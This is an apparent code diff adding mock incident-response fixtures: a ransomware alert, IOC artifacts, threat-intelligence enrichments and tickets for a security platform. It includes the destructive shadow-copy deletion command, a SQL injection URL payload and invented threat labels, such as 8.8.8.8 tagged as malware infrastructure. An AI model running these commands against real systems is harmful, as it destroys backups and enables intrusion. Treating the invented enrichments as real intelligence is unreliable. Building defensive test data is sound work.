remediation="IMMEDIATE ACTIONS: 1. Verify host isolation is complete (confirmed). 2. Do NOT power off infected host (may prevent recovery). 3. Disconnect all network cables. 4. Capture forensic image of storage drives. 5. Begin restore from clean backup prior to incident date. 6. Notify business stakeholders of estimated recovery time. INVESTIGATION: 1. Analyze attack entry point (email, SMB, RDP, etc.). 2. Check for lateral movement to other hosts. 3. Review backup integrity to ensure clean restore available. 4. Implement EDR hunting query to find similar patterns.",
comment="This is a confirmed active ransomware attack. CRITICAL priority. Finance and Executive team notified. Legal/Compliance briefing initiated. Do NOT attempt to contact attacker or pay ransom without consulting law enforcement.",
unmapped="",
raw_data=json.dumps(
{"shadow_copy_deleted": True, "encrypted_file_count": 20, "ransom_note_created": True, "process_execution": "vssadmin.exe delete shadows /all /quiet",
"malware_hash": "5d41402abc4b2a76b9719d911017c592", "host": "srv-db-master", "user": "dbadmin", "time_elapsed": "120 seconds"}),
summary_ai="CRITICAL: Active ransomware execution detected on production database server. All three indicators of ransomware present: shadow copy deletion, bulk file encryption, ransom note. Estimated 20 files already encrypted. Immediate isolation and recovery activation required.",
case=None,
enrichments=[enrichment_carbonblack_execution],
artifacts=[artifact_vssadmin_process, artifact_decryptor_malware, artifact_ransom_note_file, artifact_encrypted_files, artifact_ransomware_host,
artifact_ransomware_user]
)
PLUGINS/Mock/SIRP/mock_api.py
+39
View File
@@ -0,0 +1,39 @@
import random
import string
from datetime import datetime, timezone, timedelta
now = datetime.now(timezone.utc)
past_5m = now - timedelta(minutes=5)
past_10m = now - timedelta(minutes=10)
past_15m = now - timedelta(minutes=15)
past_30m = now - timedelta(minutes=30)
past_1h = now - timedelta(hours=1)
past_2h = now - timedelta(hours=2)
past_3h = now - timedelta(hours=3)
past_6h = now - timedelta(hours=6)
past_12h = now - timedelta(hours=12)
past_24h = now - timedelta(hours=24)
past_2d = now - timedelta(days=2)
past_3d = now - timedelta(days=3)
past_4d = now - timedelta(days=4)
past_5d = now - timedelta(days=5)
past_6d = now - timedelta(days=6)
past_7d = now - timedelta(days=7)
past_1d_18h = now - timedelta(days=1, hours=18)
past_2d_6h = now - timedelta(days=2, hours=6)
past_3d_12h = now - timedelta(days=3, hours=12)
past_4d_20h = now - timedelta(days=4, hours=20)
past_5d_8h = now - timedelta(days=5, hours=8)
past_6d_15h = now - timedelta(days=6, hours=15)
def gen_hash(length=64):
return ''.join(random.choices(string.hexdigits[:16], k=length))
def gen_uuid():
return f"{gen_hash(8)}-{gen_hash(4)}-{gen_hash(4)}-{gen_hash(4)}-{gen_hash(12)}"
def gen_ip():
return f"{random.randint(1, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 255)}"
PLUGINS/Mock/SIRP/mock_artifact.py
+344
View File
@@ -0,0 +1,344 @@
from PLUGINS.Mock.SIRP.mock_enrichment import enrichment_otx_evil_domain, enrichment_virustotal, enrichment_otx_8888, enrichment_abuseipdb_ransomware, \
enrichment_geoip_russia, enrichment_virustotal_cryptominer, enrichment_whois_domain, enrichment_okta_user, enrichment_aws_s3_public, \
enrichment_greynoise_scanner, enrichment_cve_detail, enrichment_urlhaus_malware
from PLUGINS.SIRP.sirpmodel import ArtifactModel, ArtifactType, ArtifactRole, ArtifactReputationScore
artifact_evil_email = ArtifactModel(
name="no-reply@evil-domain.com",
type=ArtifactType.EMAIL_ADDRESS,
role=ArtifactRole.ACTOR,
value="no-reply@evil-domain.com",
reputation_provider="Internal Blocklist",
reputation_score=ArtifactReputationScore.MALICIOUS,
enrichments=[enrichment_otx_evil_domain]
)
artifact_fake_url = ArtifactModel(
name="http://fake-payroll-login.com",
type=ArtifactType.URL_STRING,
role=ArtifactRole.RELATED,
value="http://fake-payroll-login.com",
reputation_score=ArtifactReputationScore.SUSPICIOUS_RISKY
)
artifact_malware_file = ArtifactModel(
name="payroll_update.zip",
type=ArtifactType.FILE_NAME,
role=ArtifactRole.RELATED,
value="payroll_update.zip"
)
artifact_malware_hash = ArtifactModel(
name="a1b2c3d4e5f6...",
type=ArtifactType.HASH,
role=ArtifactRole.RELATED,
value="a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2",
reputation_provider="VirusTotal",
reputation_score=ArtifactReputationScore.MALICIOUS,
enrichments=[enrichment_virustotal]
)
artifact_psexesvc = ArtifactModel(
name="PSEXESVC.exe",
type=ArtifactType.PROCESS_NAME,
role=ArtifactRole.RELATED,
value="PSEXESVC.exe",
owner="System"
)
artifact_dc01 = ArtifactModel(
name="DC01",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.ACTOR,
value="DC01",
)
artifact_lsass = ArtifactModel(
name="lsass.exe",
type=ArtifactType.PROCESS_NAME,
role=ArtifactRole.TARGET,
value="lsass.exe",
owner="System"
)
artifact_mimikatz = ArtifactModel(
name="mimikatz.exe",
type=ArtifactType.PROCESS_NAME,
role=ArtifactRole.ACTOR,
value="mimikatz.exe",
)
artifact_internal_ip = ArtifactModel(
name="10.1.1.5",
type=ArtifactType.IP_ADDRESS,
role=ArtifactRole.ACTOR,
value="10.1.1.5",
owner="Workstation-Pool-DHCP"
)
artifact_c2_domain = ArtifactModel(
name="c2.bad-actor-infra.net",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.RELATED,
value="c2.bad-actor-infra.net",
reputation_score=ArtifactReputationScore.SUSPICIOUS_RISKY
)
artifact_dns_port = ArtifactModel(
name="UDP-53",
type=ArtifactType.PORT,
role=ArtifactRole.RELATED,
value="53",
)
artifact_google_dns = ArtifactModel(
name="8.8.8.8",
type=ArtifactType.IP_ADDRESS,
role=ArtifactRole.RELATED,
value="8.8.8.8",
enrichments=[enrichment_otx_8888]
)
artifact_ransomware_ip = ArtifactModel(
name="103.95.196.78",
type=ArtifactType.IP_ADDRESS,
role=ArtifactRole.ACTOR,
value="103.95.196.78",
reputation_provider="AbuseIPDB",
reputation_score=ArtifactReputationScore.MALICIOUS,
enrichments=[enrichment_abuseipdb_ransomware, enrichment_geoip_russia]
)
artifact_ransom_note = ArtifactModel(
name="README_DECRYPT.txt",
type=ArtifactType.FILE_NAME,
role=ArtifactRole.RELATED,
value="README_DECRYPT.txt"
)
artifact_encrypted_file = ArtifactModel(
name="financial_report_Q4.xlsx.locked",
type=ArtifactType.FILE_NAME,
role=ArtifactRole.RELATED,
value="C:\\Users\\john.smith\\Documents\\financial_report_Q4.xlsx.locked"
)
artifact_ransomware_hash = ArtifactModel(
name="Ransomware Binary Hash",
type=ArtifactType.HASH,
role=ArtifactRole.ACTOR,
value="5f4dcc3b5aa765d61d8327deb882cf99b4c2d6e6e6b4e6f6e6e6e6e6e6e6e6e6",
reputation_provider="VirusTotal",
reputation_score=ArtifactReputationScore.MALICIOUS,
enrichments=[enrichment_virustotal]
)
artifact_cryptominer_binary = ArtifactModel(
name="svchost.exe",
type=ArtifactType.FILE_NAME,
role=ArtifactRole.ACTOR,
value="C:\\Windows\\Temp\\svchost.exe",
enrichments=[enrichment_virustotal_cryptominer]
)
artifact_cryptominer_hash = ArtifactModel(
name="Cryptominer Hash",
type=ArtifactType.HASH,
role=ArtifactRole.ACTOR,
value="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
reputation_provider="VirusTotal",
reputation_score=ArtifactReputationScore.MALICIOUS,
enrichments=[enrichment_virustotal_cryptominer]
)
artifact_mining_pool = ArtifactModel(
name="cryptominer-pool.xyz",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.RELATED,
value="cryptominer-pool.xyz",
reputation_score=ArtifactReputationScore.MALICIOUS,
enrichments=[enrichment_whois_domain]
)
artifact_insider_user = ArtifactModel(
name="bob.contractor@example.com",
type=ArtifactType.EMAIL_ADDRESS,
role=ArtifactRole.ACTOR,
value="bob.contractor@example.com",
owner="IT Department",
enrichments=[enrichment_okta_user]
)
artifact_s3_bucket = ArtifactModel(
name="s3://example-customer-data-prod",
type=ArtifactType.URL_STRING,
role=ArtifactRole.TARGET,
value="s3://example-customer-data-prod",
enrichments=[enrichment_aws_s3_public]
)
artifact_exfil_destination = ArtifactModel(
name="185.220.101.45",
type=ArtifactType.IP_ADDRESS,
role=ArtifactRole.RELATED,
value="185.220.101.45",
reputation_provider="GreyNoise",
reputation_score=ArtifactReputationScore.MALICIOUS,
enrichments=[enrichment_greynoise_scanner, enrichment_geoip_russia]
)
artifact_log4j_vuln = ArtifactModel(
name="CVE-2021-44228",
type=ArtifactType.CVE,
role=ArtifactRole.RELATED,
value="CVE-2021-44228",
enrichments=[enrichment_cve_detail]
)
artifact_exploit_url = ArtifactModel(
name="http://malicious-payload-server.ru/payload.exe",
type=ArtifactType.URL_STRING,
role=ArtifactRole.RELATED,
value="http://malicious-payload-server.ru/payload.exe",
reputation_score=ArtifactReputationScore.MALICIOUS,
enrichments=[enrichment_urlhaus_malware]
)
artifact_vulnerable_server = ArtifactModel(
name="WEB-SERVER-01",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.TARGET,
value="WEB-SERVER-01"
)
artifact_sql_server = ArtifactModel(
name="SQL-SERVER-PROD-01",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.TARGET,
value="SQL-SERVER-PROD-01",
owner="Database Team"
)
artifact_user_account = ArtifactModel(
name="sarah.johnson@example.com",
type=ArtifactType.EMAIL_ADDRESS,
role=ArtifactRole.ACTOR,
value="sarah.johnson@example.com",
owner="Sales Department"
)
artifact_ransomware_ip_2 = ArtifactModel(
name="177.19.44.123",
type=ArtifactType.IP_ADDRESS,
role=ArtifactRole.ACTOR,
value="177.19.44.123",
reputation_provider="AbuseIPDB",
reputation_score=ArtifactReputationScore.MALICIOUS
)
artifact_powershell_script = ArtifactModel(
name="invoke_malware.ps1",
type=ArtifactType.FILE_NAME,
role=ArtifactRole.ACTOR,
value="C:\\Users\\Public\\Downloads\\invoke_malware.ps1"
)
artifact_malware_registry = ArtifactModel(
name="HKLM\\Software\\Malware",
type=ArtifactType.REGISTRY_PATH,
role=ArtifactRole.ACTOR,
value="HKLM\\Software\\Malware"
)
artifact_suspicious_domain_2 = ArtifactModel(
name="update-check.badguy.net",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.RELATED,
value="update-check.badguy.net",
reputation_score=ArtifactReputationScore.MALICIOUS
)
artifact_suspicious_domain_3 = ArtifactModel(
name="check-version.exfil.xyz",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.RELATED,
value="check-version.exfil.xyz",
reputation_score=ArtifactReputationScore.SUSPICIOUS_RISKY
)
artifact_aws_role = ArtifactModel(
name="arn:aws:iam::123456789012:role/lambda-execution",
type=ArtifactType.URL_STRING,
role=ArtifactRole.ACTOR,
value="arn:aws:iam::123456789012:role/lambda-execution"
)
artifact_cloudtrail_event = ArtifactModel(
name="DeleteBucket API Call",
type=ArtifactType.URL_STRING,
role=ArtifactRole.RELATED,
value="s3:DeleteBucket"
)
artifact_user_account_2 = ArtifactModel(
name="admin.user@example.com",
type=ArtifactType.EMAIL_ADDRESS,
role=ArtifactRole.ACTOR,
value="admin.user@example.com",
owner="IT Administration"
)
artifact_slack_channel = ArtifactModel(
name="#general",
type=ArtifactType.URL_STRING,
role=ArtifactRole.RELATED,
value="https://example.slack.com/archives/C0123456789"
)
artifact_brute_force_ip = ArtifactModel(
name="45.95.11.22",
type=ArtifactType.IP_ADDRESS,
role=ArtifactRole.ACTOR,
value="45.95.11.22",
reputation_provider="AbuseIPDB",
reputation_score=ArtifactReputationScore.MALICIOUS,
enrichments=[enrichment_greynoise_scanner, enrichment_geoip_russia]
)
artifact_target_user_brute = ArtifactModel(
name="admin@example.com",
type=ArtifactType.EMAIL_ADDRESS,
role=ArtifactRole.TARGET,
value="admin@example.com",
owner="System"
)
artifact_target_host_brute = ArtifactModel(
name="srv-web-prod-01",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.TARGET,
value="srv-web-prod-01",
owner="Operations"
)
artifact_malicious_url_sqli = ArtifactModel(
name="https://web-3.example.com/api/user?id=1' OR '1'='1",
type=ArtifactType.URL_STRING,
role=ArtifactRole.RELATED,
value="https://web-3.example.com/api/user?id=1' OR '1'='1",
reputation_score=ArtifactReputationScore.MALICIOUS
)
artifact_sqlmap_tool = ArtifactModel(
name="sqlmap/1.5.2",
type=ArtifactType.URL_STRING,
role=ArtifactRole.ACTOR,
value="sqlmap/1.5.2 (SQL Injection Scanner)"
)
artifact_waf_server = ArtifactModel(
name="web-3.example.com",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.TARGET,
value="web-3.example.com",
owner="Web Operations"
)
artifact_vssadmin_process = ArtifactModel(
name="vssadmin.exe",
type=ArtifactType.PROCESS_NAME,
role=ArtifactRole.ACTOR,
value="vssadmin.exe delete shadows /all /quiet"
)
artifact_decryptor_malware = ArtifactModel(
name="decryptor.exe",
type=ArtifactType.FILE_NAME,
role=ArtifactRole.ACTOR,
value="decryptor.exe",
reputation_provider="VirusTotal",
reputation_score=ArtifactReputationScore.MALICIOUS
)
artifact_ransom_note_file = ArtifactModel(
name="README_TO_DECRYPT.txt",
type=ArtifactType.FILE_NAME,
role=ArtifactRole.RELATED,
value="README_TO_DECRYPT.txt"
)
artifact_encrypted_files = ArtifactModel(
name="*.encrypted",
type=ArtifactType.FILE_NAME,
role=ArtifactRole.RELATED,
value="Multiple encrypted files (docx, pdf, xlsx, jpg)"
)
artifact_ransomware_host = ArtifactModel(
name="srv-db-master",
type=ArtifactType.HOSTNAME,
role=ArtifactRole.TARGET,
value="srv-db-master",
owner="Database Team"
)
artifact_ransomware_user = ArtifactModel(
name="dbadmin@example.com",
type=ArtifactType.EMAIL_ADDRESS,
role=ArtifactRole.TARGET,
value="dbadmin@example.com",
owner="Database Team"
)
PLUGINS/Mock/SIRP/mock_case.py
+14 -1461
View File
File diff suppressed because it is too large Load Diff
PLUGINS/Mock/SIRP/mock_enrichment.py
+195
View File
@@ -0,0 +1,195 @@
import json
from PLUGINS.SIRP.sirpmodel import EnrichmentModel
enrichment_otx_evil_domain = EnrichmentModel(
name="OTX Pulse for evil-domain.com",
type="Threat Intelligence",
provider="OTX",
value="evil-domain.com",
src_url="https://otx.alienvault.com/indicator/domain/evil-domain.com",
desc="This domain is associated with the 'Gootkit' malware family.",
data=json.dumps({"pulse_count": 42, "tags": ["malware", "c2", "gootkit"]})
)
enrichment_virustotal = EnrichmentModel(
name="VirusTotal Report for Hash 'a1b2c3d4...'",
type="Threat Intelligence",
provider="VirusTotal",
value="a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2",
src_url="https://www.virustotal.com/gui/file/a1b2c3d4e5f6.../detection",
desc="72/75 vendors flagged this as malicious 'Trojan.Generic'.",
data=json.dumps({"scan_id": "a1b2c3d4e5f6-1678886400", "positives": 72, "total": 75})
)
enrichment_business = EnrichmentModel(
name="Affected Business Unit", type="Asset Information", provider="CMDB",
value="Finance Department", desc="Internal CMDB Information: High-value target.",
data=json.dumps({"scan_id": "a1b2c3d4e5f6-1678886400", "positives": 72, "total": 75})
)
enrichment_otx_8888 = EnrichmentModel(
name="OTX Pulse for 8.8.8.8",
type="Threat Intelligence",
provider="OTX",
value="8.8.8.8",
src_url="https://otx.alienvault.com/indicator/domain/8.8.8.8",
desc="This domain is associated with the 'Gootkit' malware family.",
data=json.dumps({"pulse_count": 42, "tags": ["malware", "c2", "gootkit"]})
)
enrichment_greynoise_scanner = EnrichmentModel(
name="GreyNoise Report for 185.220.101.45",
type="Threat Intelligence",
provider="GreyNoise",
value="185.220.101.45",
src_url="https://www.greynoise.io/viz/ip/185.220.101.45",
desc="Known mass-scanner. Classification: malicious. Last seen scanning 2 hours ago.",
data=json.dumps({"classification": "malicious", "tags": ["SSH Bruteforce", "Mass Scanner"], "last_seen": "2h"})
)
enrichment_abuseipdb_ransomware = EnrichmentModel(
name="AbuseIPDB Report for 103.95.196.78",
type="Threat Intelligence",
provider="AbuseIPDB",
value="103.95.196.78",
src_url="https://www.abuseipdb.com/check/103.95.196.78",
desc="Abuse confidence score: 98%. Associated with ransomware C2 infrastructure.",
data=json.dumps({"confidence_score": 98, "reports": 156, "categories": ["ransomware", "c2"]})
)
enrichment_urlhaus_malware = EnrichmentModel(
name="URLhaus Report for malicious payload",
type="Threat Intelligence",
provider="URLhaus",
value="http://malicious-payload-server.ru/payload.exe",
src_url="https://urlhaus.abuse.ch/url/12345678/",
desc="Known malware distribution URL. Payload: Emotet. Status: Online.",
data=json.dumps({"threat": "Emotet", "status": "online", "first_seen": "2024-01-15"})
)
enrichment_shodan_exposed_rdp = EnrichmentModel(
name="Shodan Scan for exposed RDP",
type="Asset Information",
provider="Shodan",
value="203.0.113.50",
src_url="https://www.shodan.io/host/203.0.113.50",
desc="Exposed RDP service on port 3389. No encryption. Vulnerable to BlueKeep (CVE-2019-0708).",
data=json.dumps({"ports": [3389], "vulns": ["CVE-2019-0708"], "org": "Example Corp"})
)
enrichment_whois_domain = EnrichmentModel(
name="WHOIS for cryptominer-pool.xyz",
type="Domain Intelligence",
provider="WHOIS",
value="cryptominer-pool.xyz",
src_url="https://whois.domaintools.com/cryptominer-pool.xyz",
desc="Registered 3 days ago. Registrar: NameCheap. Privacy protection enabled.",
data=json.dumps({"created": "2024-01-18", "registrar": "NameCheap", "privacy": True})
)
enrichment_geoip_russia = EnrichmentModel(
name="GeoIP Location for 185.220.101.45",
type="Geolocation",
provider="MaxMind GeoIP",
value="185.220.101.45",
desc="Location: Moscow, Russia. ASN: AS12345 (SuspiciousHosting LLC)",
data=json.dumps({"country": "RU", "city": "Moscow", "asn": "AS12345", "org": "SuspiciousHosting LLC"})
)
enrichment_virustotal_cryptominer = EnrichmentModel(
name="VirusTotal Report for cryptominer binary",
type="Threat Intelligence",
provider="VirusTotal",
value="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
src_url="https://www.virustotal.com/gui/file/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
desc="68/72 vendors flagged this as 'CoinMiner.Generic'. XMRig variant detected.",
data=json.dumps({"scan_id": "e3b0c442-1678886400", "positives": 68, "total": 72, "malware_family": "XMRig"})
)
enrichment_crowdstrike_ioc = EnrichmentModel(
name="CrowdStrike Threat Intel for Lazarus Group",
type="Threat Intelligence",
provider="CrowdStrike",
value="Lazarus Group",
desc="APT38/Lazarus Group TTPs detected. Known for supply chain attacks and ransomware.",
data=json.dumps({"apt_group": "Lazarus", "aka": ["APT38", "Hidden Cobra"], "motivation": "Financial"})
)
enrichment_okta_user = EnrichmentModel(
name="Okta User Profile for compromised account",
type="Identity Information",
provider="Okta",
value="bob.contractor@example.com",
desc="Contractor account. Department: IT. Privileged access to AWS console.",
data=json.dumps({"department": "IT", "role": "contractor", "privileged": True, "mfa_enabled": False})
)
enrichment_aws_s3_public = EnrichmentModel(
name="AWS S3 Bucket Misconfiguration",
type="Cloud Security",
provider="AWS Security Hub",
value="s3://example-customer-data-prod",
desc="Public read access enabled. Contains 45,000 files including PII.",
data=json.dumps({"public_access": True, "file_count": 45000, "contains_pii": True})
)
enrichment_cve_detail = EnrichmentModel(
name="CVE-2021-44228 (Log4Shell) Details",
type="Vulnerability Intelligence",
provider="NVD",
value="CVE-2021-44228",
src_url="https://nvd.nist.gov/vuln/detail/CVE-2021-44228",
desc="CVSS Score: 10.0 (Critical). Remote code execution in Log4j. Actively exploited in the wild.",
data=json.dumps({"cvss_score": 10.0, "severity": "CRITICAL", "exploited": True})
)
enrichment_splunk_anomaly = EnrichmentModel(
name="Splunk Behavioral Baseline Anomaly",
type="Threat Intelligence",
provider="Splunk",
value="10.5.30.45",
desc="Unusual outbound connection patterns detected. 300% above baseline for this endpoint.",
data=json.dumps({"baseline": 50, "current": 200, "anomaly_score": 0.95})
)
enrichment_carbonblack_execution = EnrichmentModel(
name="Carbon Black Advanced Threat Analytics",
type="Threat Intelligence",
provider="VMware Carbon Black",
value="suspicious_process.exe",
desc="Behavioral analysis indicates ransomware execution patterns.",
data=json.dumps({"threat_level": "HIGH", "behaviors": ["file_encryption", "network_scanning", "process_injection"]})
)
enrichment_zerofox_brand = EnrichmentModel(
name="ZeroFox Brand Monitoring Alert",
type="Brand Protection",
provider="ZeroFox",
value="example.com",
desc="Phishing domain impersonating example.com detected on social media.",
data=json.dumps({"fake_domain": "examp1e.com", "platform": "Facebook", "reports": 25})
)
enrichment_darktrace_ai = EnrichmentModel(
name="Darktrace AI Anomaly Score",
type="Threat Intelligence",
provider="Darktrace",
value="172.16.50.200",
desc="AI detected unusual connection patterns. Mimics data exfiltration behavior.",
data=json.dumps({"anomaly_score": 0.92, "device_name": "Sales-Server-03", "connection_target": "148.251.200.100"})
)
enrichment_proofpoint_sandbox = EnrichmentModel(
name="Proofpoint Advanced Threat Protection Sandbox",
type="Email Security",
provider="Proofpoint",
value="malicious_macro.docx",
desc="Document detonated in sandbox. Confirmed malicious macro executes powershell scripts.",
data=json.dumps({"detonation_time": "2s", "verdict": "MALICIOUS", "execution": "PowerShell"})
)
enrichment_yara_detection = EnrichmentModel(
name="YARA Rule Match for APT28 Artifacts",
type="Threat Intelligence",
provider="Custom YARA",
value="malware_sample.exe",
desc="Matched YARA rule 'APT28_Backdoor_v1'. Confirms known APT28 malware family.",
data=json.dumps({"rule_name": "APT28_Backdoor_v1", "severity": "CRITICAL", "false_positive_rate": 0.02})
)
enrichment_kubernetes_pod = EnrichmentModel(
name="Kubernetes Pod Configuration Analysis",
type="Cloud Security",
provider="Kubernetes API",
value="prod-webapp-deployment",
desc="Pod running with elevated privileges. Root filesystem mounted as read-write.",
data=json.dumps({"namespace": "production", "privilege_level": "elevated", "security_policy": "violated"})
)
enrichment_sentinel_threat = EnrichmentModel(
name="Azure Sentinel Threat Intelligence",
type="Cloud Intelligence",
provider="Azure Sentinel",
value="suspicious_user_logon",
desc="Impossible travel detected. User logged in from two countries within 5 minutes.",
data=json.dumps({"first_location": "US", "second_location": "CN", "time_difference": "5min"})
)
PLUGINS/Mock/SIRP/mock_ticket.py
+30
View File
@@ -0,0 +1,30 @@
from PLUGINS.SIRP.sirpmodel import TicketModel, TicketStatus, TicketType
ticket_jira = TicketModel(
status=TicketStatus.IN_PROGRESS,
type=TicketType.JIRA,
title='[Security] Investigate Phishing Campaign SEC-1234',
uid='SEC-1234',
src_url='https://jira.example.com/browse/SEC-1234'
)
ticket_servicenow = TicketModel(
status=TicketStatus.RESOLVED,
type=TicketType.SERVICENOW,
title='CRITICAL: Active Lateral Movement Detected',
uid='INC001002',
src_url='https://servicenow.example.com/nav_to.do?uri=incident.do?sys_id=INC001002'
)
ticket_pagerduty = TicketModel(
status=TicketStatus.NOTIFIED,
type=TicketType.PAGERDUTY,
title='P1: Ransomware Encryption Activity Detected',
uid='PD-INC-789456',
src_url='https://example.pagerduty.com/incidents/PD-INC-789456'
)
ticket_slack = TicketModel(
status=TicketStatus.NEW,
type=TicketType.SLACK,
title='Security Alert: Suspicious Cloud Activity',
uid='SLACK-2024-001',
src_url='https://example.slack.com/archives/C01234/p1674567890123456'
)
PLUGINS/Mock/TI.py
-66
View File
@@ -1,66 +0,0 @@
import random
from datetime import datetime
from typing import Dict, Literal
class TI:
"""
模拟威胁情报查询.
支持 IP, Domain, Hash.
"""
# 预定义的恶意指标 (IOCs)
KNOWN_THREATS = {
"192.168.1.100": { # 假设这是攻击源
"score": 85,
"verdict": "Malicious",
"categories": ["Botnet", "Brute Force Source"],
"country": "Unknown",
"asn": "AS12345 BadISP",
"last_analysis_date": "2025-11-29"
},
"45.33.22.11": { # 假设这是 C2
"score": 98,
"verdict": "Malicious",
"categories": ["C2 Server", "Cobalt Strike"],
"country": "Ruritania",
"asn": "AS666 CyberCrime",
"tags": ["APT-29", "CozyBear"]
}
}
@staticmethod
def lookup(
ioc_type: Literal["ip", "domain", "hash", "url"],
ioc_value: str
) -> Dict:
"""
Check Threat Intelligence reputation for an artifact.
Args:
ioc_type: The type of IOC. Supported: 'ip', 'domain', 'hash', 'url'.
ioc_value: The value of the IOC (e.g., '1.1.1.1' or 'a1b2...').
Returns:
Threat intelligence report including risk score and categories.
"""
print(f" [🔧 TI Tool] Checking: type={ioc_type}, value={ioc_value}")
# 1. 匹配剧本数据
if ioc_value in TI.KNOWN_THREATS:
return {"status": "found", "data": TI.KNOWN_THREATS[ioc_value]}
# 2. 默认 Mock：大部分查询都是干净的 (Benign)
# 偶尔随机生成一个低风险分数,增加真实感
risk_score = 0 if random.random() > 0.1 else random.randint(5, 15)
return {
"status": "found",
"data": {
"score": risk_score,
"verdict": "Benign" if risk_score < 30 else "Suspicious",
"categories": ["Uncategorized"] if risk_score == 0 else ["Spam"],
"country": random.choice(["US", "CN", "DE", "JP"]),
"last_analysis_date": datetime.now().strftime("%Y-%m-%d")
}
}
PLUGINS/SIRP/sirpmodel.py
+3
View File
@@ -231,6 +231,8 @@ class ProductCategory(StrEnum):
EDR = "EDR"
NDR = "NDR"
CLOUD = "Cloud"
SIEM = "SIEM"
WAF = "WAF"
OTHER = "Other"
@@ -238,6 +240,7 @@ class AlertPolicyType(StrEnum):
IDENTITY_POLICY = "Identity Policy"
RESOURCE_POLICY = "Resource Policy"
SERVICE_CONTROL_POLICY = "Service Control Policy"
ACCESS_CONTROL_POLICY = "Access Control Policy"
OTHER = "Other"